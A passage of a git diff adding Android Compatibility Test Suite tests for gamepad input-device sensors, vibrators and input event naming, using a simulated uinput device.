+                Log.i(TAG, "Input device: " + inputDeviceId + " VendorId: "
+                        + inputDevice.getVendorId() + " ProductId: " + inputDevice.getProductId());
+                return sensorManager;
+            }
+        }
+        return null;
+    }
+
+    private void bumpSensorsData(int[] sensorVector) {
+        final int step = SAMPLE_STEP;
+        for (int i = 0; i < sensorVector.length; i++) {
+            sensorVector[i] = sensorVector[i] + step;
+        }
+    }
+
+    private float[] getExpectedSensorValue(Sensor sensor, int[] dataVector) {
+        float[] sensorValues = new float[dataVector.length];
+        for (int i = 0; i < dataVector.length; i++) {
+            switch (sensor.getType()) {
+                case Sensor.TYPE_ACCELEROMETER:
+                    sensorValues[i] = ((float) dataVector[i]) / ACCEL_RESOLUTION
+                            * GRAVITY_MS2_UNIT;
+                    break;
+                case Sensor.TYPE_GYROSCOPE:
+                    sensorValues[i] = ((float) dataVector[i]) / GYRO_RESOLUTION
+                            * DEGREE_RADIAN_UNIT;
+                    break;
+                default:
+                    break;
+            }
+        }
+        return sensorValues;
+    }
+
+    private void assertSensorDataEquals(float[] expected, float[] received) {
+        assertEquals("expected sensor data length is not same as received sensor data length",
+                expected.length, received.length);
+        for (int i = 0; i < expected.length; i++) {
+            assertEquals("Data index[" + i + "] not match", expected[i], received[i], TOLERANCE);
+        }
+    }
+
+    /**
+     * Simulate a sensor data sample from device.
+     * @param sensor sensor object for data to be injected
+     * @param dataVec sensor data vector
+     * @param timestamp sensor data timestamp and sync to be injected, 0 for no timestamp and sync
+     */
+    private void injectSensorSample(Sensor sensor, int[] dataVec, int timestamp) {
+        assertEquals("Sensor sample size is wrong", dataVec.length, SENSOR_VEC_LENGTH);
+
+        switch (sensor.getType()) {
+            case Sensor.TYPE_ACCELEROMETER: {
+                int[] evSensorSample = new int[] {
+                    EV_ABS, ABS_X, dataVec[0],
+                    EV_ABS, ABS_Y, dataVec[1],
+                    EV_ABS, ABS_Z, dataVec[2],
+                };
+                mUinputDevice.injectEvents(Arrays.toString(evSensorSample));
+                break;
+            }
+            case Sensor.TYPE_GYROSCOPE: {
+                int[] evSensorSample = new int[] {
+                    EV_ABS, ABS_RX, dataVec[0],
+                    EV_ABS, ABS_RY, dataVec[1],
+                    EV_ABS, ABS_RZ, dataVec[2],
+                };
+                mUinputDevice.injectEvents(Arrays.toString(evSensorSample));
+                break;
+            }
+            default:
+                return;
+        }
+        if (timestamp > 0) {
+            int[] evTimestamp = new int[] {
+                    EV_MSC, MSC_TIMESTAMP, timestamp,
+                    EV_SYN, 0, 0 };
+            mUinputDevice.injectEvents(Arrays.toString(evTimestamp));
+        }
+    }
+
+    private void testSensorManagerListenerForSensors(Sensor[] sensors) {
+        final InputTestSensorEventListener[] listeners =
+                new InputTestSensorEventListener[sensors.length];
+        int[] dataVector = new int[]{2535, -2398, 31345};
+        long[] lastTimestamp = new long[sensors.length];
+
+        for (int i = 0; i < sensors.length; i++) {
+            listeners[i] = new InputTestSensorEventListener();
+            assertTrue(mSensorManager.registerListener(listeners[i], sensors[i],
+                    SensorManager.SENSOR_DELAY_GAME, mSensorHandler));
+        }
+
+        long startTimestamp = SystemClock.elapsedRealtimeNanos();
+        for (int count = 0; count < RUNNING_SAMPLES; count++) {
+            bumpSensorsData(dataVector);
+            // when the listener's sampling interval is longer than sensor native sample interval,
+            // the listener get report for multiple sensor samples, inject multiple samples so
+            // sensor listener can get an event callback.
+            for (int hwTimestamp = 100000;
+                    hwTimestamp - 100000 < SAMPLING_INTERVAL_US;
+                    hwTimestamp += TIME_INTERVAL_US) {
+                // Inject sensor samples
+                for (int i = 0; i < sensors.length; i++) {
+                    if (i == sensors.length - 1) {
+                        injectSensorSample(sensors[i], dataVector, hwTimestamp);
+                    } else {
+                        injectSensorSample(sensors[i], dataVector, 0 /* timestamp */);
+                    }
+                }
+                SystemClock.sleep(TIME_INTERVAL_US / 1000);
+            }
+            // Check the sensor listener events for each sensor
+            for (int i = 0; i < sensors.length; i++) {
+                SensorEvent e = listeners[i].waitForSensorEvent();
+                assertNotNull("Sensor event for count " + count + " is null", e);
+                // Verify timestamp monotonically increasing
+                if (lastTimestamp[i] != 0) {
+                    final long diff = e.timestamp - lastTimestamp[i];
+                    assertTrue("Sensor timestamp " + e.timestamp + " not monotonically increasing!"
+                            + "last " + lastTimestamp[i], diff > TIME_INTERVAL_US);
+                }
+                lastTimestamp[i] = e.timestamp;
+                // Verify sensor timestamp greater than start Android time
+                assertTrue("Sensor timestamp smaller than starting elapsedRealtimeNanos",
+                        startTimestamp < e.timestamp);
+                assertSensorDataEquals(getExpectedSensorValue(sensors[i], dataVector),
+                        e.values);
+            }
+            // Check sensor onAccuracyChanged events are called
+            for (int i = 0; i < sensors.length; i++) {
+                assertEquals(SensorManager.SENSOR_STATUS_ACCURACY_HIGH,
+                        listeners[i].waitForAccuracyChanged());
+            }
+        }
+
+        for (int i = 0; i < sensors.length; i++) {
+            mSensorManager.unregisterListener(listeners[i]);
+        }
+    }
+
+    private Sensor getDefaultSensor(int sensorType) {
+        Sensor sensor = mSensorManager.getDefaultSensor(sensorType);
+        assertNotNull(sensor);
+        assertEquals(sensor.getType(), sensorType);
+        return sensor;
+    }
+
+    @Before
+    public void setup() {
+        final int resourceId = R.raw.gamepad_sensors_register;
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mInputManager = mInstrumentation.getTargetContext().getSystemService(InputManager.class);
+        assertNotNull(mInputManager);
+
+        mParser = new InputJsonParser(mInstrumentation.getTargetContext());
+        mDeviceId = mParser.readDeviceId(resourceId);
+        String registerCommand = mParser.readRegisterCommand(resourceId);
+        final int vendorId = mParser.readVendorId(resourceId);
+        final int productId = mParser.readProductId(resourceId);
+        mUinputDevice = new UinputDevice(mInstrumentation, mDeviceId,
+            vendorId, productId, InputDevice.SOURCE_KEYBOARD, registerCommand);
+        mSensorManager = getSensorManager(vendorId, productId);
+        assertNotNull(mSensorManager);
+
+        mSensorThread = new HandlerThread("SensorThread");
+        mSensorThread.start();
+        mSensorHandler = new Handler(mSensorThread.getLooper());
+    }
+
+    @After
+    public void tearDown() {
+        mUinputDevice.close();
+    }
+
+    @Test
+    public void testAccelerometerSensorListener() {
+        // Test Accelerometer sensor
+        final Sensor[] sensors = new Sensor[]{
+            getDefaultSensor(Sensor.TYPE_ACCELEROMETER)
+        };
+        testSensorManagerListenerForSensors(sensors);
+    }
+
+    @Test
+    public void testGyroscopeSensorListener() {
+        // Test Gyroscope sensor
+        final Sensor[] sensors = new Sensor[]{
+            getDefaultSensor(Sensor.TYPE_GYROSCOPE)
+        };
+        testSensorManagerListenerForSensors(sensors);
+    }
+
+    @Test
+    public void testAllSensorsListeners() {
+        final Sensor[] sensors = new Sensor[]{
+            getDefaultSensor(Sensor.TYPE_ACCELEROMETER),
+            getDefaultSensor(Sensor.TYPE_GYROSCOPE)
+        };
+        testSensorManagerListenerForSensors(sensors);
+    }
+
+    @Test
+    public void testSupportedSensorTypes() {
+        final List<Integer> types = Arrays.asList(Sensor.TYPE_ACCELEROMETER,
+                Sensor.TYPE_GYROSCOPE);
+        for (int i = 0; i < types.size(); i++) {
+            List<Sensor> sensors = mSensorManager.getSensorList(types.get(i));
+            assertEquals("Sensor type " + types.get(i), 1L, sensors.size());
+        }
+    }
+
+    @Test
+    public void testUnsupportedSensorTypes() {
+        final List<Integer> supportedTypes = Arrays.asList(Sensor.TYPE_ACCELEROMETER,
+                Sensor.TYPE_GYROSCOPE);
+
+        for (int type = Sensor.TYPE_ACCELEROMETER; type <= Sensor.TYPE_HINGE_ANGLE; type++) {
+            if (!supportedTypes.contains(type)) {
+                List<Sensor> sensors = mSensorManager.getSensorList(type);
+                assertEquals(0L, sensors.size());
+                assertNull(mSensorManager.getDefaultSensor(type));
+            }
+        }
+    }
+
+    @Test
+    public void testDirectChannelAPIs() {
+        // Direct channel is not supported by input device sensor manager.
+        try {
+            final MemoryFile memFile = new MemoryFile("Sensor Channel", SHARED_MEMORY_SIZE);
+            SensorDirectChannel channel = mSensorManager.createDirectChannel(memFile);
+            // Expect returning a null channel when calling the API
+            assertNull(channel);
+        } catch (IOException e) {
+            fail("IOException when allocating MemoryFile");
+        }
+    }
+
+    @Test
+    public void testDynamicSensorAPIs() {
+        final List<Sensor> dynamicAccelerometers =
+                mSensorManager.getDynamicSensorList(Sensor.TYPE_ACCELEROMETER);
+        // Input device sensor manager doesn't expose any dynamic sensor
+        assertEquals(0, dynamicAccelerometers.size());
+
+        // Attempt to register regular sensor as dynamic sensor
+        final Sensor accelerometer = mSensorManager.getDefaultSensor(Sensor.TYPE_ACCELEROMETER);
+        final Callback callback = new Callback(accelerometer);
+        mSensorManager.registerDynamicSensorCallback(callback);
+        // Dynamic call back is not supported, not connection or disconnection should happen.
+        assertFalse(callback.waitForConnection());
+        callback.assertNoDisconnection();
+        // Unregister the dynamic sensor callback shouldn't throw any exception.
+        mSensorManager.unregisterDynamicSensorCallback(callback);
+        // The isDynamicSensorDiscoverySupported API should returns false.
+        assertFalse(mSensorManager.isDynamicSensorDiscoverySupported());
+
+    }
+
+}
diff --git a/tests/tests/view/src/android/view/cts/input/InputDeviceVibratorManagerTest.java b/tests/tests/view/src/android/view/cts/input/InputDeviceVibratorManagerTest.java
new file mode 100644
index 0000000..fca9854
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/input/InputDeviceVibratorManagerTest.java
@@ -0,0 +1,277 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.app.Instrumentation;
+import android.hardware.input.InputManager;
+import android.os.CombinedVibration;
+import android.os.SystemClock;
+import android.os.VibrationEffect;
+import android.os.Vibrator;
+import android.os.VibratorManager;
+import android.util.Log;
+import android.view.InputDevice;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.cts.input.InputJsonParser;
+import com.android.cts.input.UinputDevice;
+import com.android.cts.input.UinputResultData;
+import com.android.cts.input.UinputVibratorManagerTestData;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+/**
+ * Test {@link android.view.InputDevice} vibrator manager functionality.
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class InputDeviceVibratorManagerTest {
+    private static final String TAG = "InputDeviceVibratorTest";
+    private InputManager mInputManager;
+    private UinputDevice mUinputDevice;
+    private InputJsonParser mParser;
+    private Instrumentation mInstrumentation;
+    private VibratorManager mVibratorManager;
+    private int mDeviceId;
+
+    /**
+     * Get a vibrator manager from input device with specified Vendor Id and Product Id.
+     * @param vid Vendor Id
+     * @param pid Product Id
+     * @return VibratorManager object in specified InputDevice
+     */
+    private VibratorManager getVibratorManager(int vid, int pid) {
+        final int[] inputDeviceIds = mInputManager.getInputDeviceIds();
+        for (int inputDeviceId : inputDeviceIds) {
+            final InputDevice inputDevice = mInputManager.getInputDevice(inputDeviceId);
+            if (inputDevice.getVendorId() == vid && inputDevice.getProductId() == pid) {
+                VibratorManager vibratorManager = inputDevice.getVibratorManager();
+                Log.i(TAG, "Input device: " + inputDeviceId + " VendorId: "
+                        + inputDevice.getVendorId() + " ProductId: " + inputDevice.getProductId());
+                return vibratorManager;
+            }
+        }
+        return null;
+    }
+
+    @Before
+    public void setup() {
+        final int resourceId = R.raw.google_gamepad_register;
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mInputManager = mInstrumentation.getTargetContext().getSystemService(InputManager.class);
+        assertNotNull(mInputManager);
+        mParser = new InputJsonParser(mInstrumentation.getTargetContext());
+        mDeviceId = mParser.readDeviceId(resourceId);
+        String registerCommand = mParser.readRegisterCommand(resourceId);
+        mUinputDevice = new UinputDevice(mInstrumentation, mDeviceId,
+                mParser.readVendorId(resourceId), mParser.readProductId(resourceId),
+                InputDevice.SOURCE_KEYBOARD, registerCommand);
+        mVibratorManager = getVibratorManager(mParser.readVendorId(resourceId),
+                mParser.readProductId(resourceId));
+        assertTrue(mVibratorManager != null);
+    }
+
+    @After
+    public void tearDown() {
+        mUinputDevice.close();
+    }
+
+    /*
+     * Return vibration count
+     * @totalVibrations expected vibration times
+     * @timeoutMills timeout in milliseconds
+     * @return Actual vibration times
+     */
+    private int getVibrationCount(long totalVibrations, long timeoutMills) {
+        final long startTime = SystemClock.elapsedRealtime();
+        List<UinputResultData> results = new ArrayList<>();
+        int vibrationCount = 0;
+
+        while (vibrationCount < totalVibrations
+                && SystemClock.elapsedRealtime() - startTime < timeoutMills) {
+            SystemClock.sleep(1000);
+            try {
+                results = mUinputDevice.getResults(mDeviceId, "vibrating");
+                if (results.size() < totalVibrations) {
+                    continue;
+                }
+                vibrationCount = 0;
+                for (int i = 0; i < results.size(); i++) {
+                    UinputResultData result = results.get(i);
+                    if (result.reason.equals("vibrating") && result.deviceId == mDeviceId
+                            && (result.status > 0)) {
+                        vibrationCount++;
+                    }
+                }
+            }  catch (IOException ex) {
+                throw new RuntimeException("Could not get JSON results from HidDevice");
+            }
+        }
+        return vibrationCount;
+    }
+
+    /*
+     * Test with predefined vibration effects
+     * @resourceId The Json file contains predefined vibration effects
+     */
+    public void testInputVibratorManagerEvents(int resourceId) {
+        final List<UinputVibratorManagerTestData> tests =
+                mParser.getUinputVibratorManagerTestData(resourceId);
+
+        for (UinputVibratorManagerTestData testData : tests) {
+            // Vibration durations must be greater than 0
+            assertTrue(testData.durations.size() > 0);
+            // Only Mono or Stereo vibration effects are allowed
+            assertTrue(testData.amplitudes.size() == 1 || testData.amplitudes.size() == 2);
+
+            final long totalVibrations = testData.durations.size();
+            long timeoutMills = 0;
+            CombinedVibration.ParallelCombination comb = CombinedVibration.startParallel();
+
+            final int[] ids = mVibratorManager.getVibratorIds();
+            for (int i = 0; i < testData.amplitudes.size(); i++) {
+                // Verify each vibrator's amplitude array size is same as duration array size
+                assertTrue(testData.durations.size() == testData.amplitudes.valueAt(i).size());
+
+                final VibrationEffect effect;
+                if (testData.durations.size() == 1) {
+                    long duration = testData.durations.get(0);
+                    int amplitude = testData.amplitudes.valueAt(i).get(0);
+                    effect = VibrationEffect.createOneShot(duration, amplitude);
+                    // Set timeout to be 2 times of the effect duration.
+                    timeoutMills = duration * 2;
+                } else {
+                    long[] durations = testData.durations.stream()
+                            .mapToLong(Long::longValue).toArray();
+                    int[] amplitudes = testData.amplitudes.valueAt(i).stream()
+                            .mapToInt(Integer::intValue).toArray();
+                    effect = VibrationEffect.createWaveform(
+                        durations, amplitudes, -1);
+                    // Set timeout to be 2 times of the effect total duration.
+                    timeoutMills = Arrays.stream(durations).sum() * 2;
+                }
+
+                if (testData.amplitudes.size() == 1) {
+                    CombinedVibration mono = CombinedVibration.createParallel(effect);
+                    // Start vibration
+                    mVibratorManager.vibrate(mono);
+                } else {  // testData.amplitudes.size() == 2
+                    comb.addVibrator(ids[i], effect);
+                    if (i > 0) {
+                        // Start vibration
+                        CombinedVibration stereo = comb.combine();
+                        mVibratorManager.vibrate(stereo);
+                    }
+                }
+            }
+            // Verify we got expected numbers of vibration
+            assertEquals(totalVibrations, getVibrationCount(totalVibrations, timeoutMills));
+        }
+    }
+
+    @Test
+    public void testInputVibratorManager() {
+        testInputVibratorManagerEvents(R.raw.google_gamepad_vibratormanagertests);
+    }
+
+    @Test
+    public void testGetVibrators() {
+        int[] ids = mVibratorManager.getVibratorIds();
+        assertEquals(2, ids.length);
+
+        final Vibrator defaultVibrator = mVibratorManager.getDefaultVibrator();
+        assertNotNull(defaultVibrator);
+        assertTrue(defaultVibrator.hasVibrator());
+
+        for (int i = 0; i < ids.length; i++) {
+            final Vibrator vibrator = mVibratorManager.getVibrator(ids[i]);
+            assertNotNull(vibrator);
+            assertTrue(vibrator.hasVibrator());
+        }
+    }
+
+    @Test
+    public void testUnsupportedVibrationEffectsPreBaked() {
+        final int[] ids = mVibratorManager.getVibratorIds();
+        CombinedVibration.ParallelCombination comb = CombinedVibration.startParallel();
+        for (int i = 0; i < ids.length; i++) {
+            comb.addVibrator(ids[i], VibrationEffect.createPredefined(
+                    VibrationEffect.EFFECT_CLICK));
+        }
+        CombinedVibration stereo = comb.combine();
+        mVibratorManager.vibrate(stereo);
+        // Shouldn't get any vibrations for unsupported effects
+        assertEquals(0, getVibrationCount(1 /* totalVibrations */, 1000 /* timeoutMills */));
+    }
+
+    @Test
+    public void testMixedVibrationEffectsOneShotAndPreBaked() {
+        final int[] ids = mVibratorManager.getVibratorIds();
+        CombinedVibration.ParallelCombination comb = CombinedVibration.startParallel();
+        comb.addVibrator(ids[0], VibrationEffect.createOneShot(1000,
+                VibrationEffect.DEFAULT_AMPLITUDE));
+        comb.addVibrator(ids[1], VibrationEffect.createPredefined(
+                VibrationEffect.EFFECT_CLICK));
+        CombinedVibration stereo = comb.combine();
+        mVibratorManager.vibrate(stereo);
+        // Shouldn't get any vibrations for combination of OneShot and Prebaked.
+        // Prebaked effect is not supported by input device vibrator, if the second effect
+        // in combined effects is prebaked the combined effect will not be played.
+        assertEquals(0, getVibrationCount(1 /* totalVibrations */, 1000 /* timeoutMills */));
+    }
+
+    @Test
+    public void testMixedVibrationEffectsPreBakedAndOneShot() {
+        final int[] ids = mVibratorManager.getVibratorIds();
+        CombinedVibration.ParallelCombination comb = CombinedVibration.startParallel();
+        comb.addVibrator(ids[0], VibrationEffect.createPredefined(
+                VibrationEffect.EFFECT_CLICK));
+        comb.addVibrator(ids[1], VibrationEffect.createOneShot(1000,
+                VibrationEffect.DEFAULT_AMPLITUDE));
+        CombinedVibration stereo = comb.combine();
+        mVibratorManager.vibrate(stereo);
+        // Shouldn't get any vibrations for combination of Prebaked and OneShot.
+        // Prebaked effect is not supported by input device vibrator, if the first effect
+        // in combined effects is prebaked the combined effect will not be played.
+        assertEquals(0, getVibrationCount(1 /* totalVibrations */, 1000 /* timeoutMills */));
+    }
+
+    @Test
+    public void testCombinedVibrationOnSingleVibratorId() {
+        final int[] ids = mVibratorManager.getVibratorIds();
+        CombinedVibration.ParallelCombination comb = CombinedVibration.startParallel();
+        comb.addVibrator(ids[0], VibrationEffect.createOneShot(1000,
+                VibrationEffect.DEFAULT_AMPLITUDE));
+        mVibratorManager.vibrate(comb.combine());
+        assertEquals(1, getVibrationCount(1 /* totalVibrations */, 1000 /* timeoutMills */));
+    }
+}
diff --git a/tests/tests/view/src/android/view/cts/input/InputDeviceVibratorTest.java b/tests/tests/view/src/android/view/cts/input/InputDeviceVibratorTest.java
new file mode 100644
index 0000000..f2d3397
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/input/InputDeviceVibratorTest.java
@@ -0,0 +1,207 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.ArgumentMatchers.anyBoolean;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.reset;
+import static org.mockito.Mockito.timeout;
+import static org.mockito.Mockito.verify;
+
+import android.app.Instrumentation;
+import android.hardware.input.InputManager;
+import android.os.SystemClock;
+import android.os.VibrationEffect;
+import android.os.Vibrator;
+import android.os.Vibrator.OnVibratorStateChangedListener;
+import android.util.Log;
+import android.view.InputDevice;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.cts.input.InputJsonParser;
+import com.android.cts.input.UinputDevice;
+import com.android.cts.input.UinputResultData;
+import com.android.cts.input.UinputVibratorTestData;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.Mock;
+import org.mockito.junit.MockitoJUnit;
+import org.mockito.junit.MockitoRule;
+
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+/**
+ * Test {@link android.view.InputDevice} vibrator functionality.
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class InputDeviceVibratorTest {
+    private static final String TAG = "InputDeviceVibratorTest";
+    private static final long CALLBACK_TIMEOUT_MILLIS = 5000;
+
+    private InputManager mInputManager;
+    private UinputDevice mUinputDevice;
+    private InputJsonParser mParser;
+    private Instrumentation mInstrumentation;
+    private Vibrator mVibrator;
+    private int mDeviceId;
+
+    @Rule
+    public MockitoRule rule = MockitoJUnit.rule();
+    @Mock
+    private OnVibratorStateChangedListener mListener;
+
+    /**
+     * Get a vibrator from input device with specified Vendor Id and Product Id.
+     * @param vid Vendor Id
+     * @param pid Product Id
+     * @return Vibrator object in specified InputDevice
+     */
+    private Vibrator getVibrator(int vid, int pid) {
+        final int[] inputDeviceIds = mInputManager.getInputDeviceIds();
+        for (int inputDeviceId : inputDeviceIds) {
+            final InputDevice inputDevice = mInputManager.getInputDevice(inputDeviceId);
+            Vibrator vibrator = inputDevice.getVibrator();
+            if (vibrator.hasVibrator() && inputDevice.getVendorId() == vid
+                    && inputDevice.getProductId() == pid) {
+                Log.i(TAG, "Input device: " + inputDeviceId + " VendorId: "
+                        + inputDevice.getVendorId() + " ProductId: " + inputDevice.getProductId());
+                return vibrator;
+            }
+        }
+        return null;
+    }
+
+    @Before
+    public void setup() {
+        final int resourceId = R.raw.google_gamepad_register;
+
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mInputManager = mInstrumentation.getTargetContext().getSystemService(InputManager.class);
+        assertNotNull(mInputManager);
+        mParser = new InputJsonParser(mInstrumentation.getTargetContext());
+        mDeviceId = mParser.readDeviceId(resourceId);
+        String registerCommand = mParser.readRegisterCommand(resourceId);
+        mUinputDevice = new UinputDevice(mInstrumentation, mDeviceId,
+                mParser.readVendorId(resourceId), mParser.readProductId(resourceId),
+                InputDevice.SOURCE_KEYBOARD, registerCommand);
+        mVibrator = getVibrator(mParser.readVendorId(resourceId),
+                mParser.readProductId(resourceId));
+        assertTrue(mVibrator != null);
+        mVibrator.addVibratorStateListener(mListener);
+        verify(mListener, timeout(CALLBACK_TIMEOUT_MILLIS)
+                .times(1)).onVibratorStateChanged(false);
+        reset(mListener);
+    }
+
+    @After
+    public void tearDown() {
+        mUinputDevice.close();
+    }
+
+    public void testInputVibratorEvents(int resourceId) {
+        final List<UinputVibratorTestData> tests = mParser.getUinputVibratorTestData(resourceId);
+
+        for (UinputVibratorTestData test : tests) {
+            assertTrue(test.durations.size() == test.amplitudes.size());
+            assertTrue(test.durations.size() > 0);
+
+            final long timeoutMills;
+            final long totalVibrations = test.durations.size();
+            final VibrationEffect effect;
+            if (test.durations.size() == 1) {
+                long duration = test.durations.get(0);
+                int amplitude = test.amplitudes.get(0);
+                effect = VibrationEffect.createOneShot(duration, amplitude);
+                // Set timeout to be 2 times of the effect duration.
+                timeoutMills = duration * 2;
+            } else {
+                long[] durations = test.durations.stream().mapToLong(Long::longValue).toArray();
+                int[] amplitudes = test.amplitudes.stream().mapToInt(Integer::intValue).toArray();
+                effect = VibrationEffect.createWaveform(
+                    durations, amplitudes, -1);
+                // Set timeout to be 2 times of the effect total duration.
+                timeoutMills = Arrays.stream(durations).sum() * 2;
+            }
+
+            // Start vibration
+            mVibrator.vibrate(effect);
+            // Verify vibrator state listener
+            verify(mListener, timeout(CALLBACK_TIMEOUT_MILLIS)
+                    .times(1)).onVibratorStateChanged(true);
+            assertTrue(mVibrator.isVibrating());
+
+            final long startTime = SystemClock.elapsedRealtime();
+            List<UinputResultData> results = new ArrayList<>();
+            int vibrationCount = 0;
+
+            while (vibrationCount < totalVibrations
+                    && SystemClock.elapsedRealtime() - startTime < timeoutMills) {
+                SystemClock.sleep(1000);
+                try {
+                    results = mUinputDevice.getResults(mDeviceId, "vibrating");
+                    if (results.size() < totalVibrations) {
+                        continue;
+                    }
+                    vibrationCount = 0;
+                    for (int i = 0; i < results.size(); i++) {
+                        UinputResultData result = results.get(i);
+                        if (result.reason.equals("vibrating") && result.deviceId == mDeviceId
+                                && (result.status > 0)) {
+                            vibrationCount++;
+                        }
+                    }
+                }  catch (IOException ex) {
+                    throw new RuntimeException("Could not get JSON results from HidDevice");
+                }
+            }
+            assertEquals(vibrationCount, totalVibrations);
+            // Verify vibrator state listener
+            verify(mListener, timeout(CALLBACK_TIMEOUT_MILLIS)
+                    .times(1)).onVibratorStateChanged(false);
+            assertFalse(mVibrator.isVibrating());
+            reset(mListener);
+        }
+        // Shouldn't get any listener state callback after removal
+        mVibrator.removeVibratorStateListener(mListener);
+        // Start vibration
+        mVibrator.vibrate(VibrationEffect.createOneShot(100 /* duration */, 255 /* amplitude */));
+        assertTrue(mVibrator.isVibrating());
+        // Verify vibrator state listener
+        verify(mListener, never()).onVibratorStateChanged(anyBoolean());
+    }
+
+    @Test
+    public void testInputVibrator() {
+        testInputVibratorEvents(R.raw.google_gamepad_vibratortests);
+    }
+
+}
diff --git a/tests/tests/view/src/android/view/cts/InputEventInterceptTestActivity.java b/tests/tests/view/src/android/view/cts/input/InputEventInterceptTestActivity.java
similarity index 100%
rename from tests/tests/view/src/android/view/cts/InputEventInterceptTestActivity.java
rename to tests/tests/view/src/android/view/cts/input/InputEventInterceptTestActivity.java
diff --git a/tests/tests/view/src/android/view/cts/input/InputEventTest.java b/tests/tests/view/src/android/view/cts/input/InputEventTest.java
new file mode 100644
index 0000000..6ce80d3
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/input/InputEventTest.java
@@ -0,0 +1,115 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts.input;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+
+import android.text.TextUtils;
+import android.util.ArrayMap;
+import android.view.KeyEvent;
+import android.view.MotionEvent;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Map;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class InputEventTest {
+
+    @Test
+    public void testKeyCodeToString() {
+        assertEquals("KEYCODE_UNKNOWN", KeyEvent.keyCodeToString(KeyEvent.KEYCODE_UNKNOWN));
+        assertEquals("KEYCODE_HOME", KeyEvent.keyCodeToString(KeyEvent.KEYCODE_HOME));
+        assertEquals("KEYCODE_0", KeyEvent.keyCodeToString(KeyEvent.KEYCODE_0));
+        assertEquals("KEYCODE_POWER", KeyEvent.keyCodeToString(KeyEvent.KEYCODE_POWER));
+        assertEquals("KEYCODE_A", KeyEvent.keyCodeToString(KeyEvent.KEYCODE_A));
+        assertEquals("KEYCODE_SPACE", KeyEvent.keyCodeToString(KeyEvent.KEYCODE_SPACE));
+        assertEquals("KEYCODE_MENU", KeyEvent.keyCodeToString(KeyEvent.KEYCODE_MENU));
+        assertEquals("KEYCODE_BACK", KeyEvent.keyCodeToString(KeyEvent.KEYCODE_BACK));
+        assertEquals("KEYCODE_BUTTON_A", KeyEvent.keyCodeToString(KeyEvent.KEYCODE_BUTTON_A));
+        assertEquals("KEYCODE_PROFILE_SWITCH",
+                        KeyEvent.keyCodeToString(KeyEvent.KEYCODE_PROFILE_SWITCH));
+    }
+
+    @Test
+    public void testAxisFromToString() {
+        final Map<Integer, String> axes = new ArrayMap<Integer, String>();
+        axes.put(MotionEvent.AXIS_X, "AXIS_X");
+        axes.put(MotionEvent.AXIS_Y, "AXIS_Y");
+        axes.put(MotionEvent.AXIS_PRESSURE, "AXIS_PRESSURE");
+        axes.put(MotionEvent.AXIS_SIZE, "AXIS_SIZE");
+        axes.put(MotionEvent.AXIS_TOUCH_MAJOR, "AXIS_TOUCH_MAJOR");
+        axes.put(MotionEvent.AXIS_TOUCH_MINOR, "AXIS_TOUCH_MINOR");
+        axes.put(MotionEvent.AXIS_TOOL_MAJOR, "AXIS_TOOL_MAJOR");
+        axes.put(MotionEvent.AXIS_TOOL_MINOR, "AXIS_TOOL_MINOR");
+        axes.put(MotionEvent.AXIS_ORIENTATION, "AXIS_ORIENTATION");
+        axes.put(MotionEvent.AXIS_VSCROLL, "AXIS_VSCROLL");
+        axes.put(MotionEvent.AXIS_HSCROLL, "AXIS_HSCROLL");
